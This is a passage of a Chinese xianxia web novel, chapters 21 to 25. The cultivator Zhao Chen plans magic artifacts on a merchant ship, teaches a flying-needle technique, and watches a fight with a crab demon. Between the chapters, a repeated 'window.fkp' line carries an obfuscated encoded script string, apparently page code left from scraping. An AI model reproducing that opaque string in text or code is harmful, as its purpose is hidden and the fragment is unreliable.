再往上便是“道”那个层次了,哪怕是皮毛的皮毛,最低也是天仙才能勉强施展的神通,赵尘只是略有了解,最多也就知道几门神通怎么练。 赵尘所学的,都是“法”这一层次的,多是最顶尖的法。便是赵尘学习和施展的术,也尽是赵尘所学的法的枝叶。 像一些完整的术,赵尘都可以现编。 就比如祈雨术,赵尘便可以现编一套包括科仪、服饰、咒语、祭文等在内的祈雨术,这便是一道完整的祈雨术。要是拆出一部分还可以时灵是不灵的用用,这便是一道残缺的术。 这样算来,许晏靠可以自己领悟,便完成神魂一脉法门的入门,又能在同道的帮扶下收集到神魂道完整法门,真可谓是天赋异禀,气运深厚了。 便在这思绪飘飞之间,赵尘忽然发现,那位黄脸汉子被船工领上了第四层。赵尘忽然一愣,随之向其点头示意。 黄脸汉子正随着船工向自己院子走去,远远看见一青衣少年依在围栏上愣愣出神,不知在想些什么。 突然,那青衣少年将目光和飘飞的思绪一起收回,侧身向自己看来,并同时向自己点头问好。 黄脸汉子脚步一顿,也向其回了一礼,同时一边跟随在船工身后,一边仔细观察起来。心中也越发疑惑了起来。 那青衣少年乍眼一看只是一个先天武者,只是气血有些旺盛。再仔细一看,却又发现其好像只是一个普通人。待黄脸汉子随着船工走近之后,细细留心和体会之下,却察觉到少年周身好像有一股清净、祥和的气象。 “修行者?”黄脸汉子在心中猜测道。 “若是修行者,若非其主动散发出这番气象,我一点都感觉不出其身上的气息,怕是修为不低。” 心中这样想着,从赵尘身边走过时,黄脸汉子手臂摆动的幅度也不禁大了一些。 赵尘依在这栏杆上面已经半个过时辰了,在他眼前登上这支船队的足有数百人,上这条大船的也有几十人,虽然打扮各异,穿着不同,但大多是都是武者,普通人反而1是凤毛麟角的存在。在赵尘眼前上船的几十人中,除了几个普通人和十几位身怀异术的奇人异士之外,剩下的竟然都是先天武者。 这十几名修士之中,便以这位黄脸汉子修为最高。赵尘见猎心喜之下,便故意展露了几分气象。 赵尘便这样凭栏独立,看着眼前来来往往的人群,感悟着眼前的红尘万象,直到傍晚时分,整支船队在落日余晖之下,缓缓的驶离临水城。 …… 之后的日子里,赵尘便一个人忙里了起来。 除了消化从许晏处得到的收获之外,在之前,和许晏交手时,赵尘就已经认识到了,自己根本没有几件趁手的法器。除此之外,自己还缺少一件一锤定音的重器。 只是先前,赵尘一直抽不出时间来,但如今,赵尘在船上至少要待数年,这才有了充足的时间。 先前和许晏战斗时,赵尘就发现,那一堆练手之做只有两个用处,或用来作为礼物送人,或用来欺负弱小。至于用来正经的战斗,别说以弱胜强,便是遭遇势均力敌的对手,也只能凭借数量砸对手一个措手不及。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十一章 准备炼器 赵尘虽然在洞天地宫之中发了一笔,有一堆或残破或完好的法宝。 但实际上,这一堆法宝之中,一些已经完全损坏,只能拆成材料。另有些因为本身威力就比较小,如今还残破了,以至于赵尘如今到可以用上一用,但实际上造成的效果和消耗的法力相比,极不合算,还有一些赵尘现在根本用不了。 只有最后剩下的那些,赵尘倒是可以作为压箱底的手段,但只有一击之力,而且显得很是笨拙, 一番盘算之后,赵尘发现自己需要准备一套有足够成长性的趁手的随身法器,作为自己平时使用。另外,还要准备一件大威力的,自己可以长时间使用的重器,在关键时候,起到一个一锤定音的作用。 这种重器,虽也是顶阶法器之属,但在修士之中,又有一种准法宝的称呼。意思是说,在普通修士手中,这种准法宝的威力一点也不下余真正的法宝,而且与法宝相比,操作的更加灵活,消耗也要小许多。对寻常修士而言,唯一的缺点便是贵吧。 理论上,只要材质不是太差,哪怕是一件低阶法器,只要有足够的时间和法门,都可以将之慢慢祭炼成一件顶阶法器。只要是一件高等上品上乘的顶阶法器,在长时间的祭炼之后,一定可以将之炼成一件法宝。 之前便说过,法器有四阶三等三品三乘之说。四阶三等,说的是法器本身的等级,以低阶低等为最下,顶阶高等为最上。 而上中下三品指的是一种形态变幻的能力,一件上品法器,可以轻松由有形有质的器物变幻成一团无形无质的玄光,将之加持在法力、法术之上,还有种种妙用,就不一一而举了。 而上中下三乘,说的就是法器的潜力,在一般情况下,一件下品的法器,永远也不可能突破本身阶位,而一件中品法器,最多可以成为一件顶阶高等的法器,而一件上品法器,才有可能进阶法宝。 而用一堆顶级材料,靠堆材料,炼成许多件顶阶上品法器,再将这一堆顶阶上品法器按照特殊的法门进行组装和祭炼,变可以炼成一件准法宝。 换句话说。炼成一件准法宝的材料,可以用来炼制数十件顶阶高等上品上乘的法器,而只要数十、上百年,这几十件顶阶法器便可以蜕变成数十件上乘法宝。 要不是赵尘在地宫中发了一笔,就是几十年都不一定能凑出一套准法宝的材料。 想到这里,赵尘便考虑起自己需要一套什么样的法器。 “首先我需要一件可以对付鬼类的法器,回头将那条柳鞭再重新编制、祭炼一番。” 赵尘首先便想到了在许晏那里遇到的那群鬼类,随后又从鬼类想到了妖邪:“然后我还要炼制一条雷属性的锁链。除此之外,还要准备些什么呢?” “嗯,还要准备一件寻人的法器,就是一件罗盘吧。还有经楼里的那座青铜灯盏不错,便在炼制一盏法器心灯。还要准备一套用来布阵的长幡,在准备一盒飞沙吧!” “赶路的法器我已经有楼船了,不必再炼制。不对,还要炼制一朵云朵状法器,不为别的,作为一位仙道中人,腾云驾雾不是理所当然的吗?” “最后还要准备一组轻重兵刃,重的便炼制一把量山尺,轻的修炼一门飞剑法门,炼制一把飞剑,材料正好选用宗门赐下的那口斩魔剑。” 赵尘最后又细细思考了一遍:“随身法器暂时就准备这九件吧,以后若是想到了,再另做添置。” 思考完贴身法器,赵尘便考录起自己那件准法宝的样式,赵尘一边用手捻这自己的一小撮头发,一边在心中思索道:“自己的第一件‘法宝’究竟是什么样子呢?” 喃喃自语间,赵尘忽然想到了翻天印:“广成子的番天印说来说去不就是一块用来拍人的板砖嘛,再说了,哪吒手中好像也有一块同样用处的板砖。” 想来想去,赵尘最后将自己的准法宝选为一块板砖。不过赵尘又想到自己用掉的那面护法神金牌,想着准法宝最好能打还能防。 想到防御,赵尘又印象深刻的想起了许晏的三丈法域,还有最后那昙花一现的心象天地,随之又对自己准法宝的设计图做了些修正。 …… 一天,赵尘正在院中忙活着,离赵尘不远处放置这一个小玉碗,无尽的太阳光辉向玉碗中汇聚,凝聚成丝丝金色的,沙粒大小的液滴。挂在碗壁上,碗中有一层刚浸过金色液体。 在赵尘身前,放置着一大盆这种金色液体,赵尘运转法力,艰难的从金液中摄出一粒尘埃大小的金沙,小心的放置在一旁的小玉盒中,盒中大概有数十上百粒金沙。 “咚咚……” 忽然一阵敲门声传来。 赵尘抬眼一看,从门后感知到那天那个黄脸汉子的气息,随手一招,隔空将院门打开。 赵尘抬眼便看见黄脸汉子,还是和那天相似的打扮,一身简单的粗布衣服,腰间系着一个袋子。赵尘悄悄将两滴灵水弹入眼中,悄然运转灵眼法术。只见黄脸汉子怀中揣着一件法器,两袖之中藏着数十道符纸。 黄脸汉子站在院子门口,看见其中情景,便察觉到这院子和自己的有着一丝丝的不同,感觉更加清新自然,便知这青衣少年确是修为远超自己的修行者,而原本警惕的心也稍微放下了一点。毕竟这样的修士,自己身上也没什么可让其图谋的。 心中各种念头转过,黄脸汉子微微一愣,便随即跨入院中,顺手合上院门,眼光尤其在玉碗、玉盆和玉盒处停顿了一下。 黄脸汉子对赵尘一稽首:“原来还是一位道友,到今天才来拜访,实在失礼了。” 两人互相通了姓名,黄脸汉子自称姓葛,名宗道。 赵尘随手从屋中招来一张椅子,落在葛宗道身前:“葛道友请坐。” “多谢清微道友,不知道友正在忙什么?若是不方便的话……” “没什么不方便的,那碗中正在收集太阳之水,”赵尘对远处那玉碗指了一下:“我正从太阳之水中提炼太阳精金。打算以此作为材料之一,用来炼制一盒飞沙。” “哦,飞沙我倒是见过不少,不过大多都是选用普通黄少炼成,也有人用一些特殊的沙子。”一聊起法器,原本神色略有些警惕的葛宗道忽然眉飞色舞起来。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十二章 传授法术 “令我印象最深的是两位道友的飞沙,一位道友有一盒飞沙,据说是其祖上传下来的,经过一代代祭炼,将数十万斤黄沙炼成这小小的一盒。我曾见其随手一卷,便将一块十数丈高的巨石吹成尘埃,” “还有一位道友,他的飞沙是其自己炼制的,据说其是找到了一具大妖骸骨,磨入其中,一吹起来,也是威力不凡,便是金铁,在其面前,不到一时三刻,也就和朽泥、腐木差不多了。” “不知道友这,这太阳精金所炼成的飞沙有什么妙处?”说话间,葛宗道躬身一拜,认真请教道。 赵尘见状,连忙伸手,遥遥将其扶起,连声道:“不必如此,我打算用太阳精金、广寒月尘、诸天星屑三种材料炼制一盒飞沙。” “太阳精金沉重灼热,广寒月尘寒冷锋锐,诸天星屑气象万千。以此三种材料炼成的飞沙,不但威力极大,而且可演两仪之妙,万象无常。种种变化,可谓妙用无穷。” “原来如此!”虽然赵尘只是大概笼统的提了一下,葛宗道也大感满足,只觉这次拜访赵尘,可谓大有收获,不但听说了一种顶级飞沙,又知道了三种神料,还亲眼看到了其中一种。 两人又天南海北的聊了聊,赵尘从中了解道。葛宗道今年四十来岁,出生在峡阴府靠近冥仑山的一处小山村。 村中有一个不通修行的道士,见其聪明伶俐,便教导了他许多经典和一些草药知识及医术。幼年时,一次入山采药的过程中,无意中捡到了几卷道书,葛宗道和那老道士就着那几卷道书,对照着观中的经典,摸索着修炼。 老道士一辈子也没炼出什么名堂,也就积攒了几丝法力。但却为葛宗道将养气境界的修行法门给趟了出来。大概在七八年前,葛宗道在老道士的基础上,终于摸索着结了金丹,之后便出来游历了。这腰间囊袋,便是一次冒险中所得。 葛宗道在闲聊之中,不时便向赵尘请教几句经文,赵尘也为之做了详细的解答。 因为之前赵尘对其介绍是说自己姓赵,道名清微。葛宗道在得到赵尘的解答后,对赵尘越发恭敬,最后对赵尘口称“赵师”。赵尘劝了几句,见没什么效果,也就听之任之了。 两人又这样聊了一个多时辰,葛宗道便向赵尘告辞离开。 从此之后,葛宗道每三两天便来拜访赵尘一次,若是见赵尘没什么时间,问安之后就告辞离开,若是赵尘闲在那里,就和赵尘聊着自己这几年游历的见识。同时向赵尘请教几句经文,并将赵尘的解答认真记录下来。 赵尘每次见到葛宗道用来做记录的本子,都会不自觉的想道,若是这位葛道友将来真的成仙了道,或者其将来留下一门完整的传承。 将来其后人晚辈,是不是会留下这样的传言:“葛祖师曾于玄水畔,峡阴府临水郡遇清微天尊,天尊感祖师之诚,于玄水为祖师说法。” 每次想到这里,赵尘就不禁心中喜滋滋的,面露笑容,直让葛宗道在心中感叹:“赵师为人和蔼,自己每次向其请教经文,其都对自己面露笑容,以宽其心。”并在笔记中记上了这么一笔。 这样一来二去之下,大家都知道了这里有一位性格温和的前辈,整支船队,几十位修行之士,赵尘多是指点过一两句,其中一些品行、心性、毅力等都不错的人,赵尘甚至多有指点。 后来,赵尘甚至每隔两三个月都为众人讲道一次,但在讲道过程中却是只论道,不说法,也不言术。认真听讲的话,可能或有所悟,但更多的却是化作了众人的底蕴,怕是许多年后,回想起来,才能说收获不小。 …… 一天,赵尘一边打磨着一方青玉,一边为葛宗道解答这经文,忽然想起自己最近几天都在研习宗内收藏的种种飞剑法门,对葛宗道说道:“道友每次都以赵师称我,我也不好白占道友便宜。这样吧,我近些天开创了一门法术,便传予道友吧!” 葛宗道闻言大喜,之前登船之时,看见赵尘,怀疑其是一位比自己厉害很多的修行者。一连考虑了数日,遂决定登门拜访,看能不能找到机会,向其请教一些心中疑惑。 这些日子以来,每次从赵尘处请教到的收获都让其大感自己没有选择错。而如今赵尘更是说要传授自己一门法术,更是让葛宗道有一种天上掉馅饼,而且直接砸到自己手中的感觉。 葛宗道连忙对赵尘躬身一拜:“还请赵师教我。” 赵尘待其起身后说道:“我要传你的是一门飞针之术,飞针作为一种特殊的飞剑,虽然比正统的飞剑之术要弱很多,有许多手法施展不开,但也有些好处,那就是飞针一般情况下要比同级的飞剑快捷和隐蔽。” 葛宗道拿着纸笔在一旁恭敬的听着。 赵尘拿起手中的青玉,重新摆弄了一下方位,继续打磨起来:“我传你的这门飞针之术唤作《天洗水玉针决》,这部针决不但有飞针运使之术,包括一般常见的飞针运使之术,和属于这部针决的一些特殊运使之术,及一些绝招,还有这天洗水玉针这种法器的炼制之法。” “天洗水玉针的炼制,先要选用一些纯净水玉,将之打磨车成一根根细长的针,以此为模子。然后在大江大湖之上,收集那些雨过天青之后,刚被阳光照过不到一瞬的水气,将之按照特殊手法封入模子中。” “再对这些水玉针进行祭炼,待祭炼完成之后,破开模子,便可以得到这种天洗水玉针。” “这种祭炼完成的天洗水玉针,就好像一滴被拉长的,马上就要被阳光蒸发掉的朝露。通体透明,隐隐约约,染着一抹淡淡的天青色。” 将这部针决大致说明了一下,赵尘便准备伸出手指,向葛宗道眉心点去。 赵尘刚抬起右手,随之微微一停,随后将之伸进左袖中,摸出一根小拇指大小的玉条,将《天洗水玉针决》的全部内容封入玉条中,将之递给葛宗道。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十三章 正法难求 葛宗道接过玉条,又和赵尘聊了几句,便起身告辞离开。 看着葛宗道离开的身影,正在一旁为赵尘端茶倒水的那领头侍女满脸羡慕。 因为混熟了,赵尘也对着位领头侍女有所了解。 侍女姓沈,是四海商行的一名主事的孙女,自小要强,总想出去长长见识。 因为其爷爷的原因,也知道这世上有那话本中的,可以飞天遁地,长生不老的神仙中人。知道有修行者不代表就能得到修行法门。便是她爷爷宠她,以其身份,也只能为其收集到一些残缺的小法术,让其当个江湖上的奇人异士,还不如练武呢! 因此,其便恳求她爷爷,让其去船上,看能否接触到修行法门。 想要在船上得到修行法门,只有这种来往于玄水之上的船只和出海的船只可能性比较大。因为玄水之上的商船来往一次需七年有余,而海船出一次海,至少要十数年,乃至数十年才能回来。所以,她的爷爷无奈之下便安排她在这船上做个侍女,并托付船队的头领照顾一二。 其十四岁上船,至今才三年有余,年纪虽不大,修为却不弱,已是后天十层,到也算天赋不错。 至于这位沈侍女的具体名字,她没说,赵尘也没问。这虽然是一个仙侠世间,但毕竟是一个类华夏的古代背景。没事乱打听一个未出阁的姑娘的闺名干什么? 赵尘看着其羡慕的表情,轻声道:“沈姑娘,不用看了。我之前已经和你说过了,你既已修行了武道,这仙道法门只能修行神魂一脉了。” 其实倒不是说修行武道之后,就无法再修行正仙道的法门了。只要武道修为还未至先天,都可以将路给掰回来。 只是先要拍散内力,将武道修为废去,对在养气境看来已然被污染的元气进行抽取、纯净、滋养等步骤,如此反复折腾,直到其从元气到内息都恢复纯净,这实在是旷日持久之功。 “而神魂道的修行法门,却是不用人教导的。只要你时常参读经典,打磨心性,等时机到了,自然便入门了。” 沈姑娘自登船至今,倒是见到过几个修行者,只是这些修行者,自己都管不过来,哪有时间指点别人。或是看出了她的心思,或是平常就这样,皆是以一副冷面孔见人。其也不敢多做打扰,别说修行法门,便是一些修行者之间的常识,也一个字都没有听到过。 沈姑娘第一次见到赵尘时便猜测赵尘或许就是一位修行者。后来发现其性格不坏,便喜欢经常往赵尘这儿跑。之后发现其不但是一位修行者,还愿意指点他人,便在闲聊中将自己来历简单的说明了一下。 明白沈姑娘的心思,赵尘就告诉了她,因为练武的关系,若想走仙道的话只能选神魂一脉的法门,随后又为其大概介绍了一番什么是神魂法,神魂法的四阶七境之类的。再具体的就什么也没提了,只是在为葛宗道讲解经文的时候允许其旁听。 沈姑娘心中也明白,赵尘虽然没有为其讲解具体的神魂一脉的修行法门,但却为自己指出了前路,并将这条路高屋建瓴的概括了一番。 就好像自己在黑暗中抱膝瑟瑟发抖,连摸索都不知道往哪里摸索的时候,赵尘为其指明了方向,在遥远的目标之处点燃了一盏明灯,并将沿途的情况大致的概括了一番。旅途虽然还是一片漆黑,但至少让其知道了应该往什么地方摸索。 并且,赵尘还允许自己旁听其为葛宗道讲解经文,这份旁听的经历,未来也必将化作自己不断前进的底蕴。 沈姑娘虽然在心中非常感激赵尘,也明白法不可轻传的道理,但听了赵尘这番明显是用来敷衍自己的话,对着赵尘大大的翻了一个白眼:“走了!” “哼”的一声离开院子,并顺手帮赵尘将院门带上。 …… 又过去数月功夫,一天夜里,正是月满中天的时节,赵尘对着天上明月,不时的用手指对手中的一青铜灯盏进行一番敲敲打打,同时不时和葛、沈二人聊上几句。 三人简单的围成一圈。葛宗道在赵尘不远处正襟危坐,当然,永远也少不了的纸笔被其用左手抓住。右手掌心摊开,向赵尘展示自己刚刚炼成的一根“天洗水玉针”。 沈姑娘坐在两人之间,身前守着一把茶壶,不时为两人端茶倒水,同时手肘抵在石案上,单手托着下巴,小脑袋不时点一下,显得有些疲倦。 几个月下来,三人日渐熟悉起来。当然,对于神魂一脉,葛宗道也只是只闻其名,所以对于沈姑娘的遭遇,自己也只能爱莫能助。 葛宗道看着沈姑娘的样子,不由道:“沈丫头,既然倦了,你就先去休息吧!” “嗯……没事,”说着,沈姑娘抬手揉了揉脸颊:“对了,你们知道吗?前些日子,船在府城停靠……别问我是什么府,我也不知道。在府城停靠的时候,上来了一位年轻的客人,住进了这第四层甲板。” “什么样子的客人?”赵尘随口接了一句。 “是一位十几二十岁的武者,看起来非常年轻,但修为却是不低,是一位先天武者。具体先天几重天没看出来,带着一名护卫,气势非常惊人……哎呦!” 于此同时,无论上下,周围传来一片东西摔倒的声音。 正说着,原本高速行驶的大船忽然停了下来,赵尘和葛宗道都安稳的坐在椅子上面,身体连晃也没晃。而沈姑娘却猛地从椅子上摔了下来。 “什么情况?”待船稍停稳之后,葛宗道连忙站起身来,同时将纸笔等全部塞进腰间的袋子中,左手扣着一张符纸,右手从怀中摸出一件法器,被其握在手中,飞针被其藏在手腕处。 沈姑娘也从地上爬了起来,眼中虽有些茫然,不知发生了什么情况,却没有露出一丝惊慌的神色。 赵尘将灯盏往袖中一揣:“走,出去看看。” 正在此时,呼喊声从上下传来:“诸位不要惊慌!” “前面水面上发生了一些小情况!” “待情况解决就会重新开船!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十四章 水匪 三人走出院外,便听见不远处一间院子中传来说活声。一个年轻的声音激动道:“果然,出来游历是对了,这刚出门还没一个月,便遇到有意思的事了!” “前面也不知发生了什么情况,不知是不是有水匪劫船?要真是水匪劫船,倒是便让这群水匪看看我这长剑利否!” “少爷,这么大一支船队,几十条船,最长的船只甚至有一里,多不长眼的水匪才会劫这一支船队啊!”另一个中年人的声音中好像透着丝丝无奈。 “可万一,万一就有这样不长眼的水匪呢。”这一次的语气好像弱了那么点。 正在此时,赵尘三人看见不远处的院子中,之前说话的两人走了出来。 其中一个正如沈姑娘所说,二十岁上下,一身白衣似雪,手中提着一口利刃。赵尘定眼一看,修为着实不低,足有先天六重天,便是离先天七重也不远了,大概也就是几天到一年半载之间。 在其身边,守着一位中年男子,到真像个跑江湖的,一身灰扑扑的劲装。衣着虽然低调,但竟是一位半步宗师。难怪沈姑娘其气势惊人。 因为在船上,不方便将感知全力外放,所以直到出了院门,两人才看见赵尘三人。 中年男子抬眼看去,只见这两男一女之中,那年轻女子十七八岁,才后天十层,也就是比普通人稍强一点,放在外面,大概也能说一声“小天才”罢了,而且好像还是船队的人,没什么好注意的。 另外两人中,这年长的汉子,看着打扮,是一位有且奇异手段的所谓奇人异士? “不对,气质不对。那些所谓的奇人异士,或骄狂,或落魄。这应该是一位那群有些特殊手段的修士。” “不过也没什么大不了的,若是起了冲突,只要近了身,也就是一刀了账的货色。”中年男子有这个想法,是因为没见过如赵尘这般拥有顶级法门和深厚基础的修士。 当然了,他这想也没错,如葛宗道这样的修士,其所谓的“护体清光”也就能当个蓑衣用了。 中年人心中念头闪过,随之看向应该是处于领头地位的,少年? 待目光落在赵尘身上,心中却是估摸不准。 说他是普通的富家公子吧,其身上自有一番气度,这气度不是源于家世,而是出于对自己身手的自信。 说他是比那中年汉子更厉害的修士吧,其身上又带着一丝江湖气,虽然很淡。这丝江湖气就好像曾经久居江湖,后来离开了,将身上的江湖气全部洗去,如今又见到了当年熟悉的情景,忽然心有所感一般。 这种江湖气只能是那些常年生活在江湖中的人才有的。而这些人不是武者便是那些奇人异士。 可说他是武者或那些所谓奇人异士,又怎么会让那些高傲的修士顺服呢? 正在中年人揣测赵尘身份的时候,白衣青年顺手将长剑往腰间一挂,对赵尘等人拱手道:“在下殷文镇,这是应叔,见过三位。” “在下赵尘,这位是葛先生,这是沈姑娘,见过殷兄,应前辈。” 两帮人各自寒暄了几句,便互相分开,向远处张望去。 三人依在栏杆上向远处看去,只能判断是远处数里外出了问题。沈姑娘转头看向赵尘:“赵公子,你可看清了是什么情况吗?” 赵尘早已施展灵眼之术,听见问话,不禁转头看了远处殷文镇一眼,笑道:“还真被殷公子说着了,真遇上水匪了,有人要劫船。” “啊?”沈姑娘一脸惊愕。而听见真有水匪劫船,葛宗道原本稍微放缓的心却又突然紧张起来。 赵尘见状,笑着解释道:“是有一只水族小妖劫船。” 听说是只成了精怪的水族,而且赵尘对其的形容只是一只“小妖”,葛宗道原本紧张的心又渐渐放下。 “哦,原来是妖怪啊。我以前只见过些零散的材料,这次竟然遇到了活的!”沈姑娘一脸兴奋道:“那公子,什么叫做小妖啊,是不是非常弱小的妖怪?” “所谓小妖,范围有些大,从结了妖丹的妖怪开始算起。而妖丹便相当于大多数修行法门的第一阶第三境:金丹。之后一直包括完整的第二阶。”m 说道这里,赵尘又看向葛宗道:“对了。前面那是一只元神境的小妖。” 从听到自结丹开始算起,葛宗道原本不断舒缓的心又有些不安,待听到“元神境”三个字,葛宗道原本再次放下的心又猛然提了起来。 看着葛宗道脸色不断变幻的样子,赵尘不由笑道:“放心好了,四海商行那么大的生意,不会连一只元神境的水族都应付不了的。” 葛宗道不由苦笑道:“赵师勿要戏弄我了。我一个人在外游历,寻找机缘,修为又低,要是不小心一点,早就不知在哪里魂归下土了。” 赵尘闻言,对葛宗道连忙表示歉意,随后又转过话题:“要不去前面看看!” “能去前面看看,好啊好啊!” 葛宗道心中也有丝意动,斟酌道:“赵师,这会不会有什么不方便的?” “没有什么不方便的。”说着,赵尘从袖中摸出了一件不到三寸长,好似白玉雕琢而成,表面好似有云烟流转,像如意又像烟斗的玩意儿。 这便是赵尘这些日子炼成的第一件法器,名唤“太素云烟如意云斗”。赵尘一开始只准备炼制一件云朵状法器,但又觉得这有些浪费,也不符合自身的身份。一番考虑之后,赵尘就炼制出了这一件云斗,不但可以化作云朵,还有防御、遮隐身形的诸多用处。 赵尘手持着云斗的柄短,随手一挥,云斗的首部带出缕缕云雾。这些云雾遮蔽住三人的身形,之后大团的云雾在三人脚底汇聚,拼成一朵厚厚的云团,将三人托举起来。同时整个云斗也从赵尘手中消散掉,化作一团云烟,融入周围的云雾之中。 殷文镇身边的那位半步宗师一直在悄悄观察赵尘三人,其只见赵尘忽然一甩手臂,手端好像有一道白色的烟痕划过。随后三人就这样在眼前凭空消失在自己眼前。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十五章 观战 赵尘驾着云团,带着葛、沈两人向前方飞去。 沈姑娘站在云朵上抬眼四望,眼睛放光的喃喃自语道:“原来这就是滕云驾雾的感觉啊!”葛宗道也站在一边远眺,虽一眨不眨的盯着远方,脸上也有丝丝渴望露出。 赵从瞧见两人的表情,大感自己这件法器炼制的对。随即自上往下看去,整个船队绵延十数里,船队中,四海商行的船只足有七、八十条,按长短划分一共有五种。 第一种便是赵尘所乘坐的那条长一里的大船,只有一条。第二种的船只一共有六条,长三百丈往上。第三类的船只有十数条,长短皆在两百丈上下。剩下的就是长度从八九十丈到一百三十多丈的第四种船只。和长度从十几丈到三十多丈的第五张船只。 同时赵尘还发现,他一直以为的旗舰并不是自己乘坐的那座大船,而是六条第二种船只中的一条。一等大船的船长只是这支船队领队小掌柜的副手。 正在赵尘向最前方赶去的时候,从看见一位神魂通透境界的神魂一脉修士在一队武者的护卫下向前方赶去。这支护卫一共有十数人,为首者也是一位半步宗师,剩下的都是先天八重天的武者。 赵尘等人赶到事发水面,只见一条长十数里,宽数里的水面上,一片波涛汹涌,狼最高处足有二三十丈之高。其横在船队之前,将整个船队拦住。 那神魂一脉的修士是一位老者,看起来足有一百二三十岁。其看了一眼水面,轻声对身旁半步宗师说了几句。 那护卫头领随即高深喊道:“这位妖王拦住船队,不知有和吩咐?” “如之前所说,第二阶称小妖,第三阶称大妖,第四阶才能被尊为妖王。那神魂一脉的老者这样称呼,完全是在抬举、吹捧。”赵尘对葛、沈两人解释道。 “当不得,当不得,休要为小妖脸上贴金。小妖在这玄水中痴活了数百载,不久前才侥幸修出了元神。”水面下一阵沉闷的声音传来。 “原来如此,恭喜道友修为大进。只是道友还没说拦住船队是为什么?” “这不是修为精进了嘛,我便打算出海游历一番,便打算收拾收拾盘缠。这一收拾,才发现盘缠实在不够。这不打算和贵船队借一点嘛!”语气间还带着几分腼腆。 赵尘闻言,只感觉这只水妖怕是穷疯了,正如之前所说,这家四海商行,这么大的体量,,身后必然有修行者,而且境界怕是不低。也不要说什么枪一把就跑的话,若是真的是这样,一位第二阶修士便可以枪一把就跑,四海商行怕是早就破产了。 所以说,要不然是这船队足以抗衡第二阶修士,要不然就是收获和付出完全不成正比。 “原来如此,我代表商行,送道友千年药材十株……” 老者也不愿意动手,毕竟先不说输赢,只要动手,就必有损伤,而便是将其拿下,将其完整的拆成各种材料,其价值也就和整个船队相当,还不算船上货物人员等。 而且更大的可能是相互间,谁都奈何不了对方,这就更亏了。这还是只算商队的账,若是在加上自己老胳膊老腿的,万一磕着碰着了,那就更亏的痛彻心扉了。 只可惜,双方你来我往的聊了十几句,一人一妖之间的价钱一直没谈拢。 “我在这玄水中活了数百年,也知道你四海商行的威名。若我不小心赢了一招半式,我也不多要,只要给我留下两座三等船只中的货物就可以了。”说着,一只巨大的蟹钳从水中探了出来。 在水妖说话的时候,老者便“唉矣”的轻声叹了一口气,右手从袖中摸出了一颗珠子,朝前上方天空礽去,左手掐着一张符纸,朝水面按去。 就在蟹钳从水中探出来的时候,珠子飞到半空,滴溜溜一转,一层莹莹宝光洒落。在珠子的光挥照耀下,原本沸腾的水面就好像被一双无形的大手拂过。在众人面前展示了一次“水平如镜”的奇迹。 这颗珠子名唤“定水珠”,只有一个用处,可以定住水面。商行既然派遣老者来随船保护,自然会为其配发相应的法器。这件定水珠便商行派发给老者的两件法器之一。 就在定水珠将水面定住的时候,老者同时将左手的符纸按进了水中。在符纸被按入水面的一瞬间,一道寒气从符纸处爆发,呈扇形向远处横扫而过。将面前数里的水面完全冰封住。看起来,若非被封在其中的蟹螯来住,只怕就会有一座冰山自水面冉冉升起。 眼看一人一妖就要动起手来,赵尘连忙将云朵拉高,向侧后方退去一段距离。虽然赵尘这件法器的隐蔽效果非常不错,但要是不小心被两人的法术扫到,从而暴身形,平白和这一人一妖之间结下因果。 赵尘刚将云朵拉起,蟹钳便从水中探了出来。 沈姑娘看着探出水面的钳子,不由惊叹道:“好大的一只螃蟹!原来这是一只螃蟹精啊。” “第二阶的妖类,基本上都会变化体型,所以不能凭借外表判断其原身的大小。不过随着妖类修为的提升,其原型的大小也会确实会逐渐增加。” 就在几人说话间,原本因为水面被突然压平而顿了一下钳子被冻灾冰中,上下不得。 随即,原本向老者夹去的钳子突然掉转方向,猛地往冰面上一扣,立刻将整个冰面扣的粉碎。 于此同时,一支宛若青铜长矛一般的蟹足,忽然从水面刺出。向着老者扎去。 老者看着快速朝自己扎来的蟹足,避也不避。挥袖间,数十道符纸被老者从袖中甩出,飞至江面之上的半空中。符纸“嗖”的一下烧了起来,化作一个个比脸盆还要大上三圈的金红色火球,向水中坠去。 火球一接触到水,便在水面铺展开来。赵尘等人从天上看去,一片片金红色的光芒在一面十几里大的镜面上跳跃。 window.fkp = 